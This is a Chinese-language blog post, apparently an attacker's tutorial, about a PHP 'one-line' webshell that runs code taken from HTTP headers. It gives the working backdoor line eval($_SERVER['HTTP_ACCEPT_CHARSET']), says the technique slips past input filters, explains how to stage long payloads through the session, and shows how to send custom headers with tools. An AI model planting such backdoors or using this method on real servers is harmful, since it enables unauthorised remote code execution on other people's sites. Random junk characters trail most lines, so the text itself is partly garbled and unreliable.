这篇文章大概是涉及到了web,注入,一句话木马,很多人觉得做脚本小子,黑别人网站有点低级和为之不齿.更多名门正派老字号的黑客都不削于这种技术....哈哈 T{9pNf-
其实我个人也这么认为,可是俺是年轻人,思想比较浮躁和喜欢新鲜,加之俺又活在这个新生事物频发的年代,多少也要接触这些好的差的..好在对此研究也仅限于了解的目标.并不到为之痴狂的地步... ;3\oU$'
哎呀,废话说的太多了,opera的blog没有摘要功能,所以没偏杂文还是尽量简短一点好.... X<pg^Y0
JCL+uEX4S
什么是一句话木马我就不说了哈.... Yd}Jz
传统的一句话木马如果碰到这台机器刚刚好升级,或者因为发现被入侵,装了一套过滤系统,这台机器上的一句话木马基本上成了残废,因为这个时候入侵者的代码数据无法上传到一句话木马,无法运行,也就没了这个功能了. Y}db<Cz
X
不过我不知道大家为什么这么久都没发现有一个地方,其实一直存在着漏洞,如果用在一句话木马上,一句话木马的前途将会非常光明.任何的过滤系统都不能够阻挡你的执行数据的目的,就算他的get,post,cookie,xml,rss全部严格过滤也无济于事.甚至,这个方法将很难有有效的防治办法.下面介绍这个办法.其实很简单. c~_nOd
M8 4{u!>[
说起发现这个方法,起码有个两年的时间了,有的时候要想要发出来又因为当时没有时间而过后又忘记了. =bn(9Gm!J
先看一段代码: ;3 N0)
r>!$eqX_
<? N^G
$:GC
//$_SERVER里面可以是以下几个: _(#HQd,i
//HTTP_ACCEPT uc.dtq!
//HTTP_ACCEPT_CHARSET U[4Xo&`
//HTTP_ACCEPT_ENCODING ;m/h?Y~
//HTTP_ACCEPT_LANGUAGE ld RV
JVZc
//HTTP_CONNECTION J[Ckz]
//HTTP_HOST 7(ni_|$|
//HTTP_REFERER [w0@7p"7
//HTTP_USER_AGENT &E{CQ#k
?> 8$!&D&v
'7lHWqN<
<?eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?> QNH-b9u>8
2kP0//
放出这个,肯定很多人就明白了.就是利用http头的一些信息附带你的数据上去,作为一句话木马执行的参数. y.xt7
F1
不过明白的这些人肯定会有以下几个问题: kTC'`xv
1.为什么说很难被防止. % oPt],>
因为http头信息有丰富的非法字符,比如代码中常用的*,逗号,句号,单引号,双银号,小括号等等等等其他的字符,如果把防注入程序用于http头,那恐怕几乎所有的正常数据都将被防止了.所以不可能对http进行过滤,需要非常复杂的的手法才能,相信没有人会去开发这种软件. h8nJt>h
2.http头部够长吗,通常要执行的代码将会很长. xiWP^dIF
我测试过,iis和apache对于http头的数据确实有长度限制,这个限制大概是10,000-15,000个字符,也就是15KB,如此长的容量,我想传个简单的语句上去已经绰绰有余了吧,况且,当真碰到只有100多个字符限制的服务器,也可以先增量写入到session,然后从session中取出执行即可. &U_YDUQ'L
3.如何利用? ]lT8Z-h@
{6_M$"e.
其实写个简单的代码是最好的了,本文附件中有带一个c源代码(gethttp.c)是简单的自定义http头信息,你可以用它来上传你的数据. 8R3x74fL
]xx}\k
其次还可以借助一个工具:accessdriver. F&tU^(7<
JEw+5MO@
运行之后按f4按键,点击到extras tool页面,点击该页面下的http debugger子页面,在该页面的http address输入你的一句话木马页面,选择mode的get,点击mode上面一点的header data,会出现一个输入框,这个就是给你自定义http头的地方,其他地方我就不用说了,大家看看就会明白,这个工具很好用哦. 4tQ~Z6Jn;
>9WJa 5{
好像很多了,就这样吧,可能我说的还是很简单,简单最好了不是么.